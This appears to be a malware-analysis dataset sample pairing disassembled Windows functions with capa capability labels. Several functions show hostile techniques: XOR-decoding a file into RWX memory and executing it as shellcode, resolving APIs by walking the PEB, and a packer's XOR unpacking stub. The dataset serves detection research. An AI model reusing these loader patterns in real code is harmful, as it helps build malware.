joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c065
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00406e10
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40c100
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x40fd9c]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x40c100
cmp eax, 1
je 0x40c121
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40c100
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x40c0cd
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x40c0fc
xor eax, eax
inc eax
jmp 0x40c140
cmp edi, eax
jae 0x40c104
xor eax, eax
jmp 0x40c140
cmp eax, esi
jae 0x40c10b
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x40fd9c]
jmp 0x40c124
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x6acd6b40
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov dword [ebp - 4], 0
push eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
pop eax
mov esi, dword [ebp - 4]
call fcn.6acd6a50
push 0x46bd2c
push esi
mov dword [0x477518], eax
call eax
push 0x46bd3c
push esi
mov dword [0x477514], eax
call dword [0x477518]
push 0x46bd50
push esi
mov dword [0x477510], eax
call dword [0x477518]
push 0x46bd60
push esi
mov dword [0x47750c], eax
call dword [0x477518]
push 0x46bd6c
push esi
mov dword [0x477504], eax
call dword [0x477518]
push 0
mov dword [0x477508], eax
call dword [0x477510]
mov dword [0x47752c], eax
mov eax, dword [0x46814c]
push 0x40
push 0x3000
shl eax, 2
push eax
push 0
call dword [0x477508]
mov dword [0x47751c], eax
mov dword [0x477528], 7
mov dword [0x477524], 3
mov dword [0x477520], 0xd
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x6acd6c70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x467040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [0x47752c]
lea eax, [ebp - 0x18]
add esi, dword [0x46811c]
push eax
push 0x40
push dword [0x468120]
mov dword [ebp - 0x18], 0
push esi
call dword [0x47750c]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x14], xmm0
mov eax, 0
xor edx, edx
cpuid
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
mov eax, 1
xor ecx, ecx
xor edx, edx
cpuid
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
mov ecx, dword [0x468120]
xor eax, eax
xor edx, edx
test ecx, ecx
je 0x6acd6cfb
mov edi, edi
mov cl, byte [ebp + eax - 0x14]
inc eax
xor byte [edx + esi], cl
xor ecx, ecx
cmp eax, 0x10
cmove eax, ecx
mov ecx, dword [0x468120]
inc edx
cmp edx, ecx
jb 0x6acd6ce0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x18]
push ecx
push esi
call dword [0x47750c]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.6acd6f60
mov esp, ebp
pop ebp
ret

Function at 0x6acd6d20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x467040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [0x47752c]
lea eax, [ebp - 8]
add esi, dword [0x46811c]
push eax
push 0x40
push dword [0x468120]
mov dword [ebp - 8], 0
push esi
call dword [0x47750c]
mov ecx, dword [0x468120]
xor eax, eax
test ecx, ecx
je 0x6acd6d77
mov cl, byte [0x468118]
xor byte [eax + esi], cl
inc eax
mov ecx, dword [0x468120]
cmp eax, ecx
jb 0x6acd6d63
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push ecx
push esi
call dword [0x47750c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.6acd6f60
mov esp, ebp
pop ebp
ret
Function at 0x10013798
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x100137b9
push 0x19e4
push 0x7d4
push 0
call dword [sym.imp.USER32.dll_InflateRect]
jmp 0x100137d7
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x100137d7
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esp, ebp
pop ebp
ret

Function at 0x10015985
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movzx eax, byte [ebp + 8]
test eax, eax
je 0x100159f4
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
push dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
push dword [eax]
mov eax, dword [ebp - 0x20]
push dword [eax]
lea eax, [ebp - 0x40]
push eax
call fcn.100142f8
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
call fcn.100166e0
lea ecx, [ebp - 0x40]
call fcn.10016705
jmp 0x10015a0a
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10015a0a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esp, ebp
pop ebp
ret

Function at 0x10018355
Capabilities:
Get file system object information

Disassembly:
push 0x21f8
push 0x857
push 0
push 0x2234
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
ret
Function at 0x1001b63f
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1001b67d
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1001b67b
push 0x11b9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
jmp 0x1001b685
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esp, ebp
pop ebp
ret
Function at 0x1002e01a
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x1002e0e5
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 0xf574
jl 0x1002e094
mov dword [ebp - 0xc], 1
jmp 0x1002e098
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
cmp dword [ebp - 0xc], eax
jg 0x1002e0ab
mov dword [ebp - 0x30], 1
jmp 0x1002e0af
and dword [ebp - 0x30], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
sub eax, dword [ecx]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 0xc0fa
jge 0x1002e0d2
mov dword [ebp - 0x14], 1
jmp 0x1002e0d6
and dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add eax, 0xfffb
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
jmp 0x1002e0ed
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov esp, ebp
pop ebp
ret
Function at 0x1002edf2
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
lea eax, [ebp + 8]
push eax
push 0x5b8a
push 1
lea eax, [ebp - 0x10]
push eax
call fcn.1002ec6b
add esp, 0x10
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x1002ee27
xor eax, eax
jmp 0x1002ef51
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x1002ee45
xor eax, eax
jmp 0x1002ef51
push 0x4c2b
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
push 0
push 0x1585
call fcn.1002e84c
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x1002ee6d
xor eax, eax
jmp 0x1002ef51
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x10]
push 1
push dword [ebp - 8]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.1002eaef
add esp, 0x18
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push 1
push 0x3702
call fcn.1002ecb3
add esp, 0x14
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.1002ed20
add esp, 0x10
cmp dword [ebp - 0x14], 0
je 0x1002eed0
push dword [ebp - 0x14]
push 1
push dword [ebp - 4]
call fcn.1002bd1d
add esp, 0xc
push dword [ebp - 4]
call fcn.1002e724
pop ecx
test eax, eax
jne 0x1002eee1
xor eax, eax
jmp 0x1002ef51
lea eax, [ebp - 4]
push eax
push 1
call fcn.1002ed72
pop ecx
pop ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x1002ef39
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x1002ef0d
xor eax, eax
jmp 0x1002ef51
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1002ef26
xor eax, eax
jmp 0x1002ef51
push 1
lea eax, [ebp - 4]
push eax
push 0x7ecb
call fcn.1002edaf
add esp, 0xc
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x1002ef4a
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x1002ef4e
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x10040c05
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10040c1c
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
jmp 0x10040c35
push 0x21f8
push 0x857
push 0
push 0x2234
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
pop ebp
ret
Function at 0x10044832
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10044870
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push dword [eax + 0x18]
push 0
call fcn.10040b27
pop ecx
pop ecx
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
jmp 0x10044878
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esp, ebp
pop ebp
ret
Function at 0x10077876
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1007d330]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.10067184
mov dword [ebp - 0x14], eax
cmp dword [0x10cb53e4], esi
jne 0x10077969
push 0x800
push esi
push 0x10007a1c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x100778f6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10077a49
push esi
push esi
push 0x10007a1c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x10077a49
push 0x10007a34
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10077a49
push eax
call ebx
push 0x10007a40
push edi
mov dword [0x10cb53e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007a50
push edi
mov dword [0x10cb53e8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007a64
push edi
mov dword [0x10cb53ec], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10cb53f4], eax
test eax, eax
je 0x10077966
push 0x10007a80
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10cb53f0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1007798e
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10077981
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x100779a3
push 4
pop eax
jmp 0x10077a4b
cmp dword [ebp - 0x14], esi
je 0x100779a3
push dword [0x10cb53e4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10077988
mov eax, dword [0x10cb53f0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x10077a01
cmp dword [0x10cb53f4], edi
je 0x10077a01
push eax
call ebx
push dword [0x10cb53f4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10077a01
test eax, eax
je 0x10077a01
call ecx
test eax, eax
je 0x100779f6
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x100779f6
test byte [ebp - 8], 1
jne 0x10077a01
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x10077a31
mov eax, dword [0x10cb53e8]
cmp eax, edi
je 0x10077a2e
push eax
call ebx
test eax, eax
je 0x10077a2e
call eax
mov esi, eax
test esi, esi
je 0x10077a2e
mov eax, dword [0x10cb53ec]
cmp eax, edi
je 0x10077a2e
push eax
call ebx
test eax, eax
je 0x10077a2e
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x10cb53e4]
call ebx
test eax, eax
je 0x10077a49
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x10077a4b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10063239
mov esp, ebp
pop ebp
ret
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x4011ef
Capabilities:
Get file size
Read file via mapping

Disassembly:
jmp 0x4633a0
push ebx
push ebp
push esi
mov esi, ecx
push edi
xor ebp, ebp
push 0x100
lea eax, [esi + 0x18]
push ebp
push eax
mov dword [esi + 4], 0xffffffff
mov dword [esi + 8], ebp
mov dword [esi], ebp
mov dword [esi + 0xc], ebp
mov dword [esi + 0x10], 1
call fcn.004f4420
mov edi, dword [esp + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0xc
push ebp
push 0x80
push 3
push ebp
push 1
push 0xc0000000
push edi
call ebx
cmp eax, 0xffffffff
mov dword [esi + 4], eax
mov dword [esi + 0x14], 1
jne 0x46341c
mov ecx, esi
call fcn.00402fd1
push ebp
push 0x80
push 3
push ebp
push 1
push SysReAllocString
push edi
call ebx
mov dword [esi + 4], eax
mov dword [esi + 0x14], ebp
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
jne 0x46343b
mov ecx, esi
call fcn.00402fd1
pop edi
mov dword [esi + 0x10], 1
mov eax, esi
pop esi
pop ebp
pop ebx
ret 4
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebp
push ebp
push ebp
push 4
push ebp
push ecx
mov dword [esi + 0xc], eax
call edi
cmp eax, ebp
mov dword [esi + 8], eax
jne 0x46346e
mov edx, dword [esi + 4]
push ebp
push ebp
push ebp
push 2
push ebp
push edx
call edi
mov dword [esi + 8], eax
mov eax, dword [esi + 8]
cmp eax, ebp
jne 0x46349d
mov ecx, esi
call fcn.00402fd1
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov dword [esi + 4], 0xffffffff
mov dword [esi + 0x10], 2
mov eax, esi
pop esi
pop ebp
pop ebx
ret 4
mov edi, dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push ebp
push ebp
push ebp
push 0xf001f
push eax
call edi
cmp eax, ebp
mov dword [esi], eax
jne 0x4634f8
mov ecx, dword [esi + 8]
push ebp
push ebp
push ebp
push 4
push ecx
call edi
cmp eax, ebp
mov dword [esi], eax
jne 0x4634f8
mov ecx, esi
call fcn.00402fd1
mov edx, dword [esi + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 4]
push eax
mov dword [esi + 8], ebp
call edi
pop edi
mov dword [esi + 4], 0xffffffff
mov dword [esi + 0x10], 3
mov eax, esi
pop esi
pop ebp
pop ebx
ret 4
pop edi
mov dword [esi + 0x10], ebp
mov eax, esi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x4011f9
Capabilities:
Write file on windows

Disassembly:
jmp 0x40c410
push 0xffffffffffffffff
push 0x549148
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push ebp
push esi
push edi
mov eax, dword [0x5c1d10]
xor eax, esp
push eax
lea eax, [esp + 0x1c]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esp + 0x14]
call fcn.00404bc4
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0x30]
mov edi, dword [esp + 0x2c]
mov dword [esi + 0x24], eax
mov eax, dword [esi]
test eax, eax
mov dword [esi + 0x28], edi
je 0x40c60d
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
or ebx, 0xffffffff
cmp eax, ebx
mov dword [esi + 0xc], eax
jne 0x40c4a7
push 0
push 0
push str.Error_Creating_Dlg_File
call fcn.004b468e
mov dword [esp + 0x24], ebx
lea ecx, [esp + 0x14]
call fcn.00402798
xor eax, eax
jmp 0x40c5e9
cmp word [edi + 2], 0xffff
push edi
mov ecx, esi
je 0x40c4d9
call fcn.0040404d
test eax, eax
jne 0x40c500
mov ecx, dword [esi + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x24], ebx
lea ecx, [esp + 0x14]
call fcn.00402798
xor eax, eax
jmp 0x40c5e9
call fcn.0040426e
test eax, eax
jne 0x40c500
mov edx, dword [esi + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x24], ebx
lea ecx, [esp + 0x14]
call fcn.00402798
xor eax, eax
jmp 0x40c5e9
push str.END_r_n
lea ecx, [esp + 0x18]
call fcn.00401e1f
mov eax, dword [esp + 0x14]
cmp dword [eax - 4], 1
mov edi, dword [eax - 0xc]
jle 0x40c52b
mov eax, edi
push eax
lea ecx, [esp + 0x18]
call fcn.00402540
mov eax, dword [esp + 0x14]
mov edx, dword [esi + 0xc]
push 0
lea ecx, [esp + 0x1c]
push ecx
push edi
push eax
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40c54e
push eax
push eax
push str.Error_Writing_DLG
jmp 0x40c48e
mov ebp, dword [esi + 0x18]
test ebp, ebp
jle 0x40c5cd
xor edi, edi
test ebp, ebp
jle 0x40c5cd
test edi, edi
jl 0x40c622
cmp edi, dword [esi + 0x18]
jge 0x40c622
mov eax, dword [esi + 0x14]
mov edx, dword [eax + edi*4]
lea eax, [eax + edi*4]
lea ecx, [edi + 0x2710]
push ecx
push edx
lea eax, [esp + 0x1c]
push str.define__s__d_r_n
push eax
call fcn.004012df
mov eax, dword [esp + 0x24]
mov ebx, dword [eax - 0xc]
add esp, 0x10
cmp dword [eax - 4], 1
jle 0x40c5ac
mov ecx, ebx
push ecx
lea ecx, [esp + 0x18]
call fcn.00402540
mov eax, dword [esp + 0x14]
push 0
lea edx, [esp + 0x1c]
push edx
push ebx
push eax
mov eax, dword [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40c5ff
add edi, 1
cmp edi, ebp
jl 0x40c55b
or ebx, 0xffffffff
mov ecx, dword [esi + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x24], ebx
lea ecx, [esp + 0x14]
call fcn.00402798
mov eax, 1
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 8
push 0
push 0
push str.Error_Writing_DLG
call fcn.004b468e
mov dword [esp + 0x24], 0xffffffff
lea ecx, [esp + 0x14]
call fcn.00402798
xor eax, eax
jmp 0x40c5e9
call fcn.004b3abd
int3
Function at 0x40187f
Capabilities:
Parse pe header

Disassembly:
jmp 0x463100
push 0xffffffffffffffff
push 0x554e58
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x5c1d10]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
mov eax, dword [esp + 0x1c]
push eax
call fcn.004011ef
xor eax, eax
mov dword [esp + 0x14], eax
cmp dword [esi + 0x10], eax
mov dword [esi + 0x118], 1
mov dword [esi + 0x11c], 0xffffffff
mov dword [esi + 0x120], eax
jne 0x4631e5
mov edx, dword [esi + 0xc]
cmp edx, 0x40
mov dword [esi + 0x118], 2
jb 0x4631e5
mov ecx, dword [esi]
cmp word [ecx], 0x5a4d
jne 0x4631e5
mov dword [esi + 0x118], eax
cmp word [ecx + 0x18], 0x40
jae 0x46318d
mov dword [esi + 0x120], 1
mov eax, dword [ecx + 0x3c]
cmp eax, edx
jg 0x4631e5
mov dword [esi + 0x11c], eax
movzx edx, word [eax + ecx]
sub edx, 0x454c
je 0x4631c8
sub edx, 2
je 0x4631bc
sub edx, 0xa
jne 0x4631d2
mov dword [esi + 0x120], 4
jmp 0x4631d2
mov dword [esi + 0x120], 2
jmp 0x4631d2
mov dword [esi + 0x120], 3
cmp dword [eax + ecx], 0x4550
jne 0x4631e5
mov dword [esi + 0x120], 5
mov dword [esp + 0x14], 0xffffffff
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret 4